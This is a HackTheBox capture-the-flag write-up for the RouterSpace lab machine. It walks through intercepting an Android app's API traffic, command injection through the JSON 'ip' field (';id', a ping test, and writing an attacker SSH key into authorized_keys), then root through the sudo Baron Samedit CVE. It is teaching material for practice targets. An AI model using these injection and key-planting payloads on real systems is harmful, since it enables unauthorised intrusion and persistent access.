RouterSpace - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

RouterSpace is an easy Linux machine featuring a deceptive initial attack surface. The target hosts a web application promoting RouterSpace routing software and offers an APK download. Rather than reverse-engineering the heavily obfuscated Android application, the intended approach leverages an Android emulator (Genymotion) with BurpSuite proxy interception to identify hidden API endpoints. This leads to discovery of a command injection vulnerability in a status-check endpoint, allowing arbitrary command execution as the paul user. After establishing SSH access via injected key material, privilege escalation is achieved through the well-known Sudo Baron Samedit vulnerability (CVE-2021-3156).

TL;DR: Download APK → Emulate with Genymotion → Proxy with BurpSuite → Discover hidden API → Command injection → SSH access → CVE-2021-3156 for root.

Reconnaissance

Port Scanning

# Initial full port scan
ports=$(nmap -p- --min-rate=1000 -T4 10.129.77.13 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Targeted service enumeration
nmap -p$ports -sC -sV 10.129.77.13

Results:

• Port 22 (SSH) - OpenSSH 7.4
• Port 80 (HTTP) - Web service (RouterSpace application)

Service Enumeration

The HTTP service on port 80 hosts a RouterSpace marketing page with a prominent “Download” button offering a RouterSpace.apk file (Android application package). Standard web enumeration tools like GoBuster trigger a “Suspicious activity detected” response with request IDs, preventing directory brute-forcing.

Vulnerability Assessment

1. Obfuscated Android APK - The downloaded RouterSpace.apk contains heavily obfuscated source code that resists basic decompilation
2. Hidden API Endpoint - Standard web enumeration discovers nothing; the vulnerable endpoint is only revealed through Android app traffic interception
3. Command Injection in API - The hidden status-check endpoint concatenates user input directly into shell commands without sanitization
4. Sudo Privilege Escalation - The system runs an outdated, vulnerable version of sudo susceptible to CVE-2021-3156 (Baron Samedit)

Initial Foothold

Exploitation Path

Step 1: APK Analysis via Android Emulator

Rather than attempt reverse engineering the obfuscated APK, we use Genymotion Android emulator:

# Install required tools
sudo apt install apktool
# (Genymotion and VirtualBox downloaded and installed manually)

# Extract APK to inspect structure
apktool d RouterSpace.apk
cat RouterSpace/assets/index.android.bundle
# Output: Heavily obfuscated code

Genymotion Setup:

• Launch Genymotion and create account
• Install Samsung Galaxy S8 device (API 26 - required for proxy compatibility)
• Drag-and-drop RouterSpace.apk into emulator to install
• Launch app and attempt “Check Status” (fails with connection error)

Step 2: Network Traffic Interception with BurpSuite

Configure the Android device to proxy traffic through BurpSuite:

# On attacker machine: Start BurpSuite, configure Proxy > Options
# Set proxy listener to 0.0.0.0 on default port 8080

# In Genymotion Android device:
# Settings > Network & Internet > WiFi > Long-press AndroidWifi
# Modify Network > Advanced Options > Proxy > Manual
# Set IP to attacker machine, port 8080

Critical Detail: The RouterSpace app includes a custom User-Agent header (RouterSpaceAgent). Removing this header triggers the “Suspicious activity detected” error. This is a WAF bypass requirement.

Clicking “Check Status” in the emulator reveals the following request in BurpSuite:

POST /api/v4/health HTTP/1.1
Host: routerspace.htb
User-Agent: RouterSpaceAgent
Content-Type: application/json

{"ip":"192.168.1.1"}

Add the hostname to /etc/hosts:

echo '10.129.77.36 routerspace.htb' | sudo tee -a /etc/hosts

Step 3: Command Injection Discovery

Send the request to BurpSuite Repeater and begin testing for injection:

POST /api/v4/health HTTP/1.1
Host: routerspace.htb
User-Agent: RouterSpaceAgent
Content-Type: application/json

{"ip":"5.5.5.5"}

Response echoes back the IP. Testing with malicious input:

{"ip":"192.168.1.1;id"}

Success! The response contains:

uid=1001(paul) gid=1001(paul) groups=1001(paul)

This confirms command injection via concatenated shell execution (likely ping -c 1 [IP] backend).

Step 4: Firewall Testing and SSH Key Injection

Attempt reverse shell (blocked by firewall):

# Confirm firewall blocks outbound connections
sudo tcpdump -i tun0 icmp

# Send ping request via injection
{"ip":"192.168.1.1;ping 10.10.14.64"}

# No packets received - confirmed firewall blocks outbound

Instead, inject SSH keys. Generate keypair on attacker machine:

ssh-keygen -f paul -N ""
cat paul.pub

Inject key material via command injection:

{"ip":"192.168.1.1;echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4/rgcP2qUiuOKm+xsJ1Fqf4aWg60oeumxTr84WYoiXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX user@attacker' > /home/paul/.ssh/authorized_keys"}

Step 5: SSH Access

ssh -i paul paul@routerspace.htb
# Successful login

cat /home/paul/user.txt
# User flag captured

Privilege Escalation

LinPEAS Enumeration

Upload and execute LinPEAS to identify privilege escalation vectors:

# From attacker machine
scp -i paul linpeas.sh paul@routerspace.htb:/tmp/

# On target machine
ssh -i paul paul@routerspace.htb
cd /tmp
chmod +x linpeas.sh
./linpeas.sh

Output Analysis:

• PwnKit (CVE-2021-4034): Ruled out - pkexec lacks SetUID bit
• Sudo Baron Samedit (CVE-2021-3156): Vulnerable

Sudo Baron Samedit Exploitation

Quick vulnerability check:

sudoedit -s /
# Prompts for password - vulnerable system confirmed

The vulnerability exists in sudo versions prior to 1.9.5p2. Exploitation:

# Download exploit from public source (e.g., GitHub)
# Copy exploit_nss.py contents to remote system

cat > exploit.py << 'EOF'
# [Full exploit code from CVE-2021-3156 PoC]
# Exploit leverages heap overflow in sudoedit parsing
EOF

python3 exploit.py
# Shell spawns as root

cat /root/root.txt
# Root flag captured

Attack Chain Summary

Port 80 (HTTP) → RouterSpace APK Download
    ↓
Genymotion Android Emulator + BurpSuite Proxy
    ↓
Intercept /api/v4/health Request with RouterSpaceAgent Header
    ↓
Command Injection via IP Parameter: ;id
    ↓
SSH Key Injection (Firewall Blocks Reverse Shell)
    ↓
SSH Access as paul User
    ↓
LinPEAS Identifies CVE-2021-3156 Vulnerability
    ↓
Sudo Baron Samedit Exploit
    ↓
Root Shell → Root Flag

Tools Used

Key Learnings

Techniques Practiced

• Android application analysis and emulation without reverse-engineering source code
• HTTP proxy configuration for mobile device traffic inspection
• Command injection vulnerability exploitation
• Firewall evasion through alternative payload delivery (SSH key injection vs. reverse shells)
• Linux privilege escalation via known CVE exploitation
• Security implications of WAF User-Agent validation

Lessons Learned

1. Defense in Depth Failure: The combination of a vulnerable API endpoint with inadequate input validation creates critical RCE, even with firewall-blocked outbound connections.

2. Emulation Over Decompilation: When reverse-engineering fails (obfuscation), runtime analysis via emulation and proxy interception often succeeds more efficiently.

3. Alternative Payload Delivery: When standard reverse shells fail due to network restrictions, consider alternative command execution methods (SSH key injection, cron jobs, file-based attacks).

4. Keep-Alive CVE Risks: Systems running outdated sudo versions expose trivial privilege escalation paths; CVE-2021-3156 was critical across many Linux distributions.

5. User-Agent Whitelisting: Implementing WAF rules based solely on User-Agent headers provides minimal security and can be easily bypassed once the expected value is discovered through traffic analysis.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>